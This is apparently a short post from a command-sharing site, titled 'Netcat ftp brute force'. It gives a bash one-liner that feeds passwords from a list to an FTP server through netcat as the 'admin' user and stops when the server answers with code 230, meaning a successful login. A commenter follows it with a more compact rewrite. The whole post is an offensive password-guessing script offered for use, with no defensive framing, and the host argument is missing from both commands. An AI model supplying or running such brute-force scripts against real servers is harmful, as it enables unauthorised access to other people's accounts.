Netcat ftp brute force

cat list|while read lines;do echo "USER admin">ftp;echo "PASS $lines">>ftp;echo "QUIT">>ftp;nc 21 <ftp>ftp2;echo "trying: $lines";cat ftp2|grep "230">/dev/null;[ "$?" -eq "0" ]&& echo "pass: $lines" && break;done

By: FuRt3X
2010-05-02 07:37:22

What Others Think

voted up for good idea, however, the style is horrible! you want to write it like: while read lines ; do echo "trying: $lines";echo -e "USER admin\nPASS $lines\nQUIT" | nc 21 | grep -q "230" && echo "pass: $lines" && break; done < list
buzzy · 576 weeks and 2 days ago
thanks for improving, it's more legible. I will use this on my code.
FuRt3X · 576 weeks and 2 days ago

What do you think?

Any thoughts on this command? Does it work on your machine? Can you do the same thing with only 14 characters?

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